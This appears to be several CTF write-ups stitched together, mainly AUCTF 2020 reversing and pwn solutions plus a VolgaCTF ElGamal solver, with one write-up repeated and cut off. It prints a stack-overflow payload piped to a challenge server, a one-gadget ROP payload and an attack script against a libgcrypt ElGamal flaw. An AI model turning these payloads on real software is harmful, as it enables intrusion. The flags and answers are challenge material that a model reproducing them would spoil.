# Animal crossing In this challenge we are given pcap file with suspicious dns requests. Every dns request starts with base64 string + `ad.quickbrownfoxes.org` Solution: Lets dump the whole string and decode it: ```pythonfrom scapy.all import *scapy_cap = rdpcap('animalcrossing.pcapng')out = []for packet in scapy_cap: if packet.haslayer(DNS): rec = packet[DNSQR].qname if b'ad.quickbrownfoxes.org' in rec: s = rec[:rec.find(b'.')] if s not in out: out.append(s) print(''.join([i.decode() for i in out]))``` In the end we get this: ```Did you ever hear the tragedy of Darth Plagueis The Wise? I thought not. It’s not a story the Jedi would tell you. It’s a Sith legend. Darth Plagueis was a Dark Lord of the Sith, so powerful and so wise he could use the Force to influence the midichlorians to create life… auctf{it_was_star_wars_all_along} He had such a knowledge of the dark side that he could even keep the ones he cared about from dying. The dark side of the Force is a pathway to many abilities some consider to be unnatural. He became so powerful… the only thing he was afraid of was losing his power, which eventually, of course, he did. Unfortunately, he taught his apprentice everything he knew, then his apprentice killed him in his sleep. Ironic. He could save others from death, but ``` `auctf{it_was_star_wars_all_along}`
buffer overflow - overwrite variable in stack then pass the check```cvoid vulnerable(void){ char local_30 [16]; int local_20; int local_1c; int local_18; int local_14; int local_10; puts("Hey I heard you are searching for flags! Well I\'ve got one. :)"); puts("Here you can have part of it!"); puts("auctf{"); puts("\nSorry that\'s all I got!\n"); local_10 = 0; local_14 = 10; local_18 = 0x14; local_1c = 0x14; local_20 = 2; fgets(local_30,0x24,stdin); if ((((local_10 == 0x1337) && (local_14 < -0x14)) && (local_1c != 0x14)) && ((local_18 == 0x667463 && (local_20 == 0x2a)))) { print_flag(); } return;}``` [Details](http://note.taqini.space/#/ctf/AUCTF-2020/?id=thanksgiving-dinner)
Main function calls deobfuscate: ```gdb0x000000000000131d <+84>: call 0x1185 <deobfuscate>``` So, stepping with gdb, we can see the deobfuscated flag in the stack, pointed by some registers: ```RAX 0x5555555592a0 ◂— 'gigem{p455w0rd_1n_m3m0ry1}'``` # FLAG```gigem{p455w0rd_1n_m3m0ry1}```
using one gadget is easy to solve this pwn ```python# gadgetog_off = 0x3ac3cog = libc+og_off offset = cyclic_find('haaa')payload = cyclic(offset)payload += p32(og)payload += p32(0)*100 # fill stack with '\x00'``` [Details](http://note.taqini.space/#/ctf/AUCTF-2020/?id=house-of-madness)
Few of the challenges that we were able to solve this time. Going to explain one of them. # **CRYPTO** ## Guess-:> description: Try to guess all encrypted bits and get your reward! [server.py](assets/server.py) nc guess.q.2020.volgactf.ru 7777 ### Solution: Well looking to the server script file, we couldn't find anything vulnerable to be exploited. After thinking and thinking my teammate found [the link](https://github.com/weikengchen/attack-on-libgcrypt-elgamal/blob/master/attack_libgcrypt.py) that was very helpful. Actually its the challenge present already on the web. I don't know why it was copied. It was an attack over ElGamal Implementation of libgcrypt. So I just used some part of the code from there and then made a connection between the netcat server and after 1000 turns we we got the flag. I tried to understand the vulnerability but I couldn't :disappointed:! Here is the [script](assets/decode.py) :```pythonfrom pwn import * def isQR(x, p): q = (p - 1) / 2 return pow(x, q, p) def func(y,p,ct_a,ct_b): output=-1 if ((isQR(y, p) == 1) or (isQR(ct_a, p) == 1)): if isQR(ct_b, p) == 1: output = 1 else: output = 0 else: if isQR(ct_b, p) == 1: output = 0 else: output = 1 return str(output) r=remote("guess.q.2020.volgactf.ru",7777)y,p=eval(r.recvuntil("\n").split("=")[1])print(y,p)for i in range(1000): ct_a,ct_b=eval(r.recv()) output=func(y,p,ct_a,ct_b) print(str(i)+output) r.sendline(output)print(r.recv())r.close()``` Here is the flag : `VolgaCTF{B3_c4r3ful_with_4lg0rithm5_impl3m3nt4ti0n5}`
# AUCTF 2020<div align="center"></div> AUCTF 2020 has ended, and me and my team [**P1rates**](https://ctftime.org/team/113157) really enjoyed it as it was full of good problems, I participated as **T1m3-m4ch1n3** and here's my writeup about some of the problems that i solved.*(if you're interested in the rest you can read the writeup of my teammate **y4mm1** [here](https://ah-sayed.github.io/posts/auctf-2020))* ## Challenges | Title | Category || --------------------------------------------|--------------:|| [Cracker Barrel](#cracker-barrel) | Reversing || [Mr. Game and Watch](#mr-game-and-watch) | Reversing || [Sora](#sora) | Reversing || [Don't Break Me](#dont-break-me) | Reversing || [Thanksgiving Dinner](#thanksgiving-dinner) | Pwn | --- ## Cracker Barrel#### Reversing ### Description:> **I found a USB drive under the checkers board at cracker barrel. My friends told me not to plug it in but surely nothing bad is on it?> I found this file, but I can't seem to unlock it's secrets. Can you help me out?> Also.. once you think you've got it I think you should try to connect to challenges.auctf.com at port 30000 not sure what that means, but it written on the flash drive..> [cracker_barrel](cracker%20barrel/cracker_barrel)** ### Solution: Firstly we start by `strings` command and obviously the flag isn't there so we do `file` command we will find it's ELF 64-bit, dynamically linked and not stripped. let's do some radare2 stuff```$ r2 -AA cracker_barrel[0x00001180]> afl``` well, here we find some interesting function names like:```mainsym.checksym.check_1sym.check_2sym.check_3sym.print_flag``` then seeking to the main and entering the visual mode:```[0x00001180]> s main[0x000012b5]> VV``` we notice that main calls sym.check and then `test eax, eax` and the `je` if it's false then it calls sym.print_flag .. So whatever happens inside check() function it MUST return a non-zero value so we can get the flag! By digging into check() function we see clearly the it takes the user input and calls check_1() function and if the return is zero it returns zero (which we don't need to happend), Otherwise it continues to call the second check which is check_2() and so on with check_3() .. so we need to make sure to return a non-zero value from these functions too Now going deeper inside check_1(): <div align="center"></div> as we see clearly it takes the user input in s1 variable, then "starwars" in s2 and compares them if they're equal then it goes to the second check which compares the user input with "startrek" if they're NOT equal it returns 1 So all we need to do is passing "starwars" as first input and by that we passed the first check! Now we go to check_2() function in visual mode we'll find there's a string "si siht egassem terces" that get modified by some operations and then compared to our second input <div align="center"></div> as seen in the photo above we can make a breakpoint in the `cmp` instruction and examine the 2 stringsI'll use gdb for the debugging:```$ gdb cracker_barrel(gdb) set disassembly-flavor intel(gdb) disass check_2 .. 0x0000000000001553 <+132>: mov rsi,rdx 0x0000000000001556 <+135>: mov rdi,rax 0x0000000000001559 <+138>: call 0x1130 .. (gdb) b *check_2+138Breakpoint 1 at 0x1559 (gdb) rGive me a key!starwarsYou have passed the first test! Now I need another key!AAAA Breakpoint 1, 0x0000555555555559 in check_2 ()``` Now we hit the breakpoint on the comparing point now by examining rsi and rdi:```(gdb) x/wx $rsi0x7fffffffc540: 0x41414141(gdb) x/2wx $rdi0x555555559420: 0x73692073 0x00000000``` Clearly rsi is our input and rdi is how our input must be! which represents "s is" as a string (in little endian)!And this our second input! Now heading to our final check which is check_3 function() in visual mode .. we se a string "z!!b6~wn&\`" passed seperately to variablesthen it iterates through each character in the user input string and encrypt it as follows: <div align="center"></div> The encryption method:- take each character and add 0x2 to its hexadecimal value- XOR the result with 0x14 And then compare the n-th character in the resulting string with the n-th character in "z!!b6\~wn&\`" string.Our goal now is clear which is to decrypt "z!!b6\~wn&\`" string:```pythonsecret = "z!!b6~wn&`"result = "" for c in secret: result += chr((ord(c) ^ 0x14) - 0x2) print(result)``` Now by running it:```bash$ python3 decrypt.pyl33t hax0r``` And that's our third input!Now by connecting to the server to get the flag:```$ nc challenges.auctf.com 30000Give me a key!starwarsYou have passed the first test! Now I need another key!s isNice work! You've passes the second test, we aren't done yet!l33t hax0rCongrats you finished! Here is your flag!auctf{w3lc0m3_to_R3_1021}``` Flag: `auctf{w3lc0m3_to_R3_1021}` --- ## Mr. Game and Watch#### Reversing ### Description:> **My friend is learning some wacky new interpreted language and different hashing algorithms. He's hidden a flag inside this program but I cant find it...> He told me to connect to challenges.auctf.com 30001 once I figured it out though.> [mr_game_and_watch.class](mr.%20game%20and%20watch/mr_game_and_watch.class)** ### Solution:First, we need to decompile the .class file to get its java source .. i used [CFR java decompiler](https://www.benf.org/other/cfr/): ```bash$ java -jar ~/cfr-0.149.jar mr_game_and_watch.class > mr_game_and_watch.java``` and this was the resulting source code: ```javaimport java.io.BufferedReader;import java.io.FileReader;import java.io.IOException;import java.security.MessageDigest;import java.util.Arrays;import java.util.Scanner; public class mr_game_and_watch { public static String secret_1 = "d5c67e2fc5f5f155dff8da4bdc914f41"; public static int[] secret_2 = new int[]{114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118}; public static int[] secret_3 = new int[]{268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266}; public static int key_2 = 64; public static int key_3 = 313; public static void main(String[] arrstring) { System.out.println("Welcome to the Land of Interpreted Languages!"); System.out.println("If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be!"); System.out.println("\nUnfortunately, if you hate Java, this may suck..."); System.out.println("Good luck!\n"); if (mr_game_and_watch.crackme()) { mr_game_and_watch.print_flag(); } } private static boolean crackme() { Scanner scanner = new Scanner(System.in); if (mr_game_and_watch.crack_1((Scanner)scanner) && mr_game_and_watch.crack_2((Scanner)scanner) && mr_game_and_watch.crack_3((Scanner)scanner)) { System.out.println("That's correct!"); scanner.close(); return true; } System.out.println("Nope that's not right!"); scanner.close(); return false; } private static boolean crack_1(Scanner scanner) { System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this"); System.out.println("\t" + secret_1); System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"MD5"); return string2.compareTo(secret_1) == 0; } private static boolean crack_2(Scanner scanner) { System.out.println("Nice work! One down, two to go ..."); System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t"); String string = scanner.nextLine(); return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0; } private static boolean crack_3(Scanner scanner) { System.out.print("Nice work! Here's the last one...\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256"); int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3); return Arrays.equals(arrn, secret_3); } private static int[] encrypt(String string, int n) { int[] arrn = new int[string.length()]; for (int i = 0; i < string.length(); ++i) { arrn[i] = string.charAt(i) ^ n; } return arrn; } private static String decrypt(int[] arrn, int n) { Object object = ""; for (int i = 0; i < arrn.length; ++i) { object = (String)object + (char)(arrn[i] ^ n); } return object; } private static void print_flag() { String string = "flag.txt"; try (BufferedReader bufferedReader = new BufferedReader(new FileReader(string));){ String string2; while ((string2 = bufferedReader.readLine()) != null) { System.out.println(string2); } } catch (IOException iOException) { System.out.println("Could not find file please notify admin"); } } public static String hash(String string, String string2) { String string3 = null; try { MessageDigest messageDigest = MessageDigest.getInstance(string2); byte[] arrby = messageDigest.digest(string.getBytes("UTF-8")); StringBuilder stringBuilder = new StringBuilder(2 * arrby.length); for (byte by : arrby) { stringBuilder.append(String.format("%02x", by & 0xFF)); } string3 = stringBuilder.toString(); } catch (Exception exception) { System.out.println("broke"); } return string3; }}``` After reading the source code we clearly see that in order to call print_flag() function crackme() function MUST return true which will happen only if crack_1(), crack_2() and crack_3() functions are true .. So let's make those guys true! - crack_1():``` java private static boolean crack_1(Scanner scanner) { System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this"); System.out.println("\t" + secret_1); System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"MD5"); return string2.compareTo(secret_1) == 0; }``` That's easy .. the input gets encrypted using MD5 and then compared to secret_1 variable if they're equal it returns truewe need to decrypt secret_1 value and that will be our first key! I used this [site](https://hashtoolkit.com/decrypt-hash/) for that: <div align="center"></div> Nice! `masterchief` is our first input we got one .. two to go! - crack_2():```java private static boolean crack_2(Scanner scanner) { System.out.println("Nice work! One down, two to go ..."); System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t"); String string = scanner.nextLine(); return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0; }``` Well, here it takes our input -> encrypt it using SHA1 -> compare it to the decrypted secret_2 value using decrypt() function Now by thinking reverse! we need to: decrypt secret_2 value -> decrypt the result using SHA1 -> and that's our input! The equivalent python code of decrypt() function is: ```pythonsecret = [114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118] key = 64 def decrypt(a, k): result = "" for i in range (0, len(a)): result += chr(a[i] ^ k) return result print(decrypt(secret, key))``` Now running it: ```bash$ python3 decrypt.py264212deff89ade15661a59e7b632872d858f2c6``` Now decrypting this SHA1 using the same [site](https://hashtoolkit.com/decrypt-hash/): <div align="center"></div> Great! `princesspeach` is our second input .. only one left! - crack_3():```java private static boolean crack_3(Scanner scanner) { System.out.print("Nice work! Here's the last one...\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256"); int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3); return Arrays.equals(arrn, secret_3); }``` So it takes our input -> encrypt it using SHA256 -> encrypt it using encrypt() function -> compare the result with secret_3 array thinking reverse we should: take the secret_3 array -> decrypt it using the reverse of encrypt() function -> decrypt the resulting SHA256 hash The encrypt() function just XOR each character with 313 value and that's the equivalent python code:```pythonsecret = [268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266] key = 313 def decrypt(a, n): myStr = "" for i in range (0, len(a)): myStr += chr(a[i] ^ key) return myStr print(decrypt(secret, key))``` Now running it:```bash$ python3 decrypt2.py5ebb49e499a6613e832e433a2722edd0d2947d56fdb4d684af0f06c631fdf633``` Then i used this [site](https://md5decrypt.net/en/Sha256/) to decrypt the result: <div align="center"></div> Finally! Our third input is `solidsnake` Now connecting to the server:```$ nc challenges.auctf.com 30001 Welcome to the Land of Interpreted Languages!If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be! Unfortunately, if you hate Java, this may suck...Good luck! Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this d5c67e2fc5f5f155dff8da4bdc914f41Think you can crack it? If so give me the value that hashes to that! masterchiefNice work! One down, two to go ...This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out! princesspeachNice work! Here's the last one... solidsnakeThat's correct!auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}``` Flag: `auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}` --- ## Sora#### Reversing ### Description:> **This obnoxious kid with spiky hair keeps telling me his key can open all doors.> Can you generate a key to open this program before he does?> Connect to challenges.auctf.com 30004> [sora](sora/sora)** ### Solution:As usual using `file` command it appears it's a 64-bit ELF file, dynamically linked and not strippedand with `strings` command we find an interesting part: ```$ strings sora..aQLpavpKQcCVpfcgGive me a key!That's not it!flag.txtToo bad you can only run this exploit on the server.....``` as a first assumption maybe `aQLpavpKQcCVpfcg` string is some sort of an encrypted key or something Alright, let's put this into radare2```$ r2 -AA sora[0x00001140]> afl..0x000012dd 7 171 sym.encrypt0x00001430 4 101 sym.__libc_csu_init0x00001229 6 180 main.. [0x00001140]> s main[0x00001229]> VV```In the visual mode we can see the encrypt() function gets called after the user enters an input: <div align="center"></div> If eax register does NOT equal zero then it prints the flag .. whatever happens in encrypt() function it MUST returns a non-zero value Now moving to IDA pro to see the decompilation of encrypt() function: <div align="center"></div> The function simply encrypts the character and if it doesn't equal the equivalent character in the secret variable it return 0 which we don't want to happen the secret variable has the value of our interesting string `aQLpavpKQcCVpfcg`: <div align="center"></div> Now i wrote this python script which iterates through each character in the secret variable string and finds the printable character that satisfies the if condition: ```pythonsecret = "aQLpavpKQcCVpfcg" def getkeychar(a): # iterates through the printable characters only for x in range(ord(' '), ord('~')): if chr((8 * x + 19)%61 + 65) == a: return chr(x) key = ""for i in range (0, len(secret)): key += getkeychar(secret[i]) print(key) ``` Now running it gives us the key:```$ python3 key.py75<"72"%5($."0(G``` Now connecting to the server:```$ nc challenges.auctf.com 30004Give me a key!75<"72"%5($."0(Gauctf{that_w@s_2_ezy_29302}``` Flag: `auctf{that_w@s_2_ezy_29302}` --- ## Don't Break Me#### Reversing ### Description:> **I've been working on my anti-reversing lately. See if you can get this flag!> Connect at challenges.auctf.com 30005> [dont_break_me](don't%20break%20me/dont_break_me)** ### Solution:Alright, with `file` command we know it's 32-bit ELF file, dynamically linked and not stripped .. and with `strings` command there's nothing interesting Now it's time for radare2: ```$ r2 -AA dont-break-me[0x000010e0]> afl..0x000015a1 7 224 sym.decrypt0x0000138a 6 102 sym.get_string0x000014cf 7 210 sym.encrypt0x00001681 6 117 sym.inverse0x00001272 4 280 main..``` Those function names sound interesting let's start with main() function: <div align="center"></div> It seems that the program takes the user input then removes the newline character at the end, then pushes it as an argument to encrypt() function and put the result in s2 variable .. after that it allocates a new memory using calloc() built-in function and returns the address to s1 which is passed to get_string() function as an argument to load a string .. afterwards there's a compare so s1 MUST be equal s2 So overall we need to reverse that as follows:- See the get_string() function and get the string which is loaded to s1- Decrypt that string using decrypt() function- Input the result in order to get the flag So far so good .. we'll start with decompiling get_string() function using IDA pro: <div align="center"></div> It's clear that it iterates from 0 to 31 and with this if condition it only loads the even indexed characters (e.x. 0, 2, 4, ...) from blah variable **backwoards** in the a1 variable And this is the value of blah variable: <div align="center"></div> Which is `XAPRMXCSBCEDISBVXISXWERJRWSZARSQ` Next, the decrypt() function: <div align="center"></div> Clearly, it takes the user input string with two argument which, from analysing the code, are 12, 17 consecutively then iterates through each character and decrypt it using a formula which appears to be the [Affine Cipher](https://en.wikipedia.org/wiki/Affine_cipher) Finally the inverse() function: <div align="center"></div> Simple enough! .. Now by combining our understanding of the previous functions i came up with this python script which is equivalent of all we said```pythondef get_string(s): u = list(s) result = [] for i in range (0, len(u)): if i % 2 == 0: result.append(u[i]) result.reverse() return ''.join(result) def inverse(a): n = 0 for i in range (0, 26): if i * a % 26 == 1: n = i return n def decrypt(s, a, k): x = "" inv = inverse(a) for i in s: # check if the character is a space if ord(i) == 32: x += i else: x += chr(inv * (ord(i) + 65 - k)%26 + 65) return x secret = "XAPRMXCSBCEDISBVXISXWERJRWSZARSQ"a = 17k = 12 secret = get_string(secret) key = decrypt(secret, a, k) print(key)``` Now by running this script it should give us the key: ```$ python3 decrypt.pyIKILLWITHMYHEART``` Now connecting to the server: ```$ nc challenges.auctf.com 3000554 68 65 20 6d 61 6e 20 69 6e 20 62 6c 61 63 6b 20 66 6c 65 64 20 61 63 72 6f 73 73 20 74 68 65 20 64 65 73 65 72 74 2c 20 61 6e 64 20 74 68 65 20 67 75 6e 73 6c 69 6e 67 65 72 20 66 6f 6c 6c 6f 77 65 64 2eInput: IKILLWITHMYHEARTauctf{static_or_dyn@mIc?_12923}``` Flag: `auctf{static_or_dyn@mIc?_12923}` --- ## Thanksgiving Dinner#### Pwn ### Description:> **I just ate a huge dinner. I can barley eat anymore... so please don't give me too much!> nc challenges.auctf.com 30011> Note: ASLR is disabled for this challenge> [turkey](thanksgiving%20dinner/turkey)** ### Solution:Nice! by doing `file` command we know it's 32-bit ELF file, dynamically linked and not strippedand with `strings` command nothing really interesting And with radare2:```$ r2 -AA turkey[0x000010c0]> afl..0x000011f9 1 87 main0x00001250 7 198 sym.vulnerable..``` Those are interesting functions .. the main only puts a text and then calls vulnerable() function which makes 5 checks if they're all true it prints out the flag!: <div align="center"></div> We go to gdb-peda for a better memory examine and debugging: ```gdb-peda$ set disassembly-flavor intelgdb-peda$ disass vulnerable``` <div align="center"></div> We see fgets length is 0x24 which is 36, so we put a breakpoint after fgets that will allow us to examine the memory right after we enter the input. And by running the file and enters `AAAA` as input: <div align="center"></div> We can see that eax register is pointing to 0xbffff14c address and by examining the memory at this location and all the addresses in the comparisons: <div align="center"></div> GREAT! Now we can overwrite those values to pass the checks .. and these are the 5 checks: <div align="center"></div> - ![Red](https://placehold.it/15/ff0000/000000?text=+) 0xbffff16c MUST EQUAL 0x1337- ![Green](https://placehold.it/15/00ff00/000000?text=+) 0xbffff168 MUST BE LESS THAN 0xffffffec (= -20)- ![Yellow](https://placehold.it/15/ffff00/000000?text=+) 0xbffff160 MUST NOT EQUAL 0x14- ![Pink](https://placehold.it/15/ff00ff/000000?text=+) 0xbffff164 MUST EQUAL 0x667463- ![Orange](https://placehold.it/15/ff6600/000000?text=+) 0xbffff15c MUST EQUAL 0x2a Now our payload is: ```python>>> from pwn import p32>>> 'A'*16 + p32(0x2a) + p32(0x20) + p32(0x667463) + p32(0xffffffec - 10) + p32(0x1337)'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'``` Now we can pipe it to the server: ```$ python -c "print 'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'" | nc challenges.auctf.com 30011Hi!Welcome to my program... it's a little buggy...Hey I heard you are searching for flags! Well I've got one. :)Here you can have part of it!auctf{ Sorry that's all I got! Wait... you aren't supposed to be here!!auctf{I_s@id_1_w@s_fu11!}``` Flag: `auctf{I_s@id_1_w@s_fu11!}`
# AUCTF 2020<div align="center"></div> AUCTF 2020 has ended, and me and my team [**P1rates**](https://ctftime.org/team/113157) really enjoyed it as it was full of good problems, I participated as **T1m3-m4ch1n3** and here's my writeup about some of the problems that i solved.*(if you're interested in the rest you can read the writeup of my teammate **y4mm1** [here](https://ah-sayed.github.io/posts/auctf-2020))* ## Challenges | Title | Category || --------------------------------------------|--------------:|| [Cracker Barrel](#cracker-barrel) | Reversing || [Mr. Game and Watch](#mr-game-and-watch) | Reversing || [Sora](#sora) | Reversing || [Don't Break Me](#dont-break-me) | Reversing || [Thanksgiving Dinner](#thanksgiving-dinner) | Pwn | --- ## Cracker Barrel#### Reversing ### Description:> **I found a USB drive under the checkers board at cracker barrel. My friends told me not to plug it in but surely nothing bad is on it?> I found this file, but I can't seem to unlock it's secrets. Can you help me out?> Also.. once you think you've got it I think you should try to connect to challenges.auctf.com at port 30000 not sure what that means, but it written on the flash drive..> [cracker_barrel](cracker%20barrel/cracker_barrel)** ### Solution: Firstly we start by `strings` command and obviously the flag isn't there so we do `file` command we will find it's ELF 64-bit, dynamically linked and not stripped. let's do some radare2 stuff```$ r2 -AA cracker_barrel[0x00001180]> afl``` well, here we find some interesting function names like:```mainsym.checksym.check_1sym.check_2sym.check_3sym.print_flag``` then seeking to the main and entering the visual mode:```[0x00001180]> s main[0x000012b5]> VV``` we notice that main calls sym.check and then `test eax, eax` and the `je` if it's false then it calls sym.print_flag .. So whatever happens inside check() function it MUST return a non-zero value so we can get the flag! By digging into check() function we see clearly the it takes the user input and calls check_1() function and if the return is zero it returns zero (which we don't need to happend), Otherwise it continues to call the second check which is check_2() and so on with check_3() .. so we need to make sure to return a non-zero value from these functions too Now going deeper inside check_1(): <div align="center"></div> as we see clearly it takes the user input in s1 variable, then "starwars" in s2 and compares them if they're equal then it goes to the second check which compares the user input with "startrek" if they're NOT equal it returns 1 So all we need to do is passing "starwars" as first input and by that we passed the first check! Now we go to check_2() function in visual mode we'll find there's a string "si siht egassem terces" that get modified by some operations and then compared to our second input <div align="center"></div> as seen in the photo above we can make a breakpoint in the `cmp` instruction and examine the 2 stringsI'll use gdb for the debugging:```$ gdb cracker_barrel(gdb) set disassembly-flavor intel(gdb) disass check_2 .. 0x0000000000001553 <+132>: mov rsi,rdx 0x0000000000001556 <+135>: mov rdi,rax 0x0000000000001559 <+138>: call 0x1130 .. (gdb) b *check_2+138Breakpoint 1 at 0x1559 (gdb) rGive me a key!starwarsYou have passed the first test! Now I need another key!AAAA Breakpoint 1, 0x0000555555555559 in check_2 ()``` Now we hit the breakpoint on the comparing point now by examining rsi and rdi:```(gdb) x/wx $rsi0x7fffffffc540: 0x41414141(gdb) x/2wx $rdi0x555555559420: 0x73692073 0x00000000``` Clearly rsi is our input and rdi is how our input must be! which represents "s is" as a string (in little endian)!And this our second input! Now heading to our final check which is check_3 function() in visual mode .. we se a string "z!!b6~wn&\`" passed seperately to variablesthen it iterates through each character in the user input string and encrypt it as follows: <div align="center"></div> The encryption method:- take each character and add 0x2 to its hexadecimal value- XOR the result with 0x14 And then compare the n-th character in the resulting string with the n-th character in "z!!b6\~wn&\`" string.Our goal now is clear which is to decrypt "z!!b6\~wn&\`" string:```pythonsecret = "z!!b6~wn&`"result = "" for c in secret: result += chr((ord(c) ^ 0x14) - 0x2) print(result)``` Now by running it:```bash$ python3 decrypt.pyl33t hax0r``` And that's our third input!Now by connecting to the server to get the flag:```$ nc challenges.auctf.com 30000Give me a key!starwarsYou have passed the first test! Now I need another key!s isNice work! You've passes the second test, we aren't done yet!l33t hax0rCongrats you finished! Here is your flag!auctf{w3lc0m3_to_R3_1021}``` Flag: `auctf{w3lc0m3_to_R3_1021}` --- ## Mr. Game and Watch#### Reversing ### Description:> **My friend is learning some wacky new interpreted language and different hashing algorithms. He's hidden a flag inside this program but I cant find it...> He told me to connect to challenges.auctf.com 30001 once I figured it out though.> [mr_game_and_watch.class](mr.%20game%20and%20watch/mr_game_and_watch.class)** ### Solution:First, we need to decompile the .class file to get its java source .. i used [CFR java decompiler](https://www.benf.org/other/cfr/): ```bash$ java -jar ~/cfr-0.149.jar mr_game_and_watch.class > mr_game_and_watch.java``` and this was the resulting source code: ```javaimport java.io.BufferedReader;import java.io.FileReader;import java.io.IOException;import java.security.MessageDigest;import java.util.Arrays;import java.util.Scanner; public class mr_game_and_watch { public static String secret_1 = "d5c67e2fc5f5f155dff8da4bdc914f41"; public static int[] secret_2 = new int[]{114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118}; public static int[] secret_3 = new int[]{268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266}; public static int key_2 = 64; public static int key_3 = 313; public static void main(String[] arrstring) { System.out.println("Welcome to the Land of Interpreted Languages!"); System.out.println("If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be!"); System.out.println("\nUnfortunately, if you hate Java, this may suck..."); System.out.println("Good luck!\n"); if (mr_game_and_watch.crackme()) { mr_game_and_watch.print_flag(); } } private static boolean crackme() { Scanner scanner = new Scanner(System.in); if (mr_game_and_watch.crack_1((Scanner)scanner) && mr_game_and_watch.crack_2((Scanner)scanner) && mr_game_and_watch.crack_3((Scanner)scanner)) { System.out.println("That's correct!"); scanner.close(); return true; } System.out.println("Nope that's not right!"); scanner.close(); return false; } private static boolean crack_1(Scanner scanner) { System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this"); System.out.println("\t" + secret_1); System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"MD5"); return string2.compareTo(secret_1) == 0; } private static boolean crack_2(Scanner scanner) { System.out.println("Nice work! One down, two to go ..."); System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t"); String string = scanner.nextLine(); return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0; } private static boolean crack_3(Scanner scanner) { System.out.print("Nice work! Here's the last one...\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256"); int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3); return Arrays.equals(arrn, secret_3); } private static int[] encrypt(String string, int n) { int[] arrn = new int[string.length()]; for (int i = 0; i < string.length(); ++i) { arrn[i] = string.charAt(i) ^ n; } return arrn; } private static String decrypt(int[] arrn, int n) { Object object = ""; for (int i = 0; i < arrn.length; ++i) { object = (String)object + (char)(arrn[i] ^ n); } return object; } private static void print_flag() { String string = "flag.txt"; try (BufferedReader bufferedReader = new BufferedReader(new FileReader(string));){ String string2; while ((string2 = bufferedReader.readLine()) != null) { System.out.println(string2); } } catch (IOException iOException) { System.out.println("Could not find file please notify admin"); } } public static String hash(String string, String string2) { String string3 = null; try { MessageDigest messageDigest = MessageDigest.getInstance(string2); byte[] arrby = messageDigest.digest(string.getBytes("UTF-8")); StringBuilder stringBuilder = new StringBuilder(2 * arrby.length); for (byte by : arrby) { stringBuilder.append(String.format("%02x", by & 0xFF)); } string3 = stringBuilder.toString(); } catch (Exception exception) { System.out.println("broke"); } return string3; }}``` After reading the source code we clearly see that in order to call print_flag() function crackme() function MUST return true which will happen only if crack_1(), crack_2() and crack_3() functions are true .. So let's make those guys true! - crack_1():``` java private static boolean crack_1(Scanner scanner) { 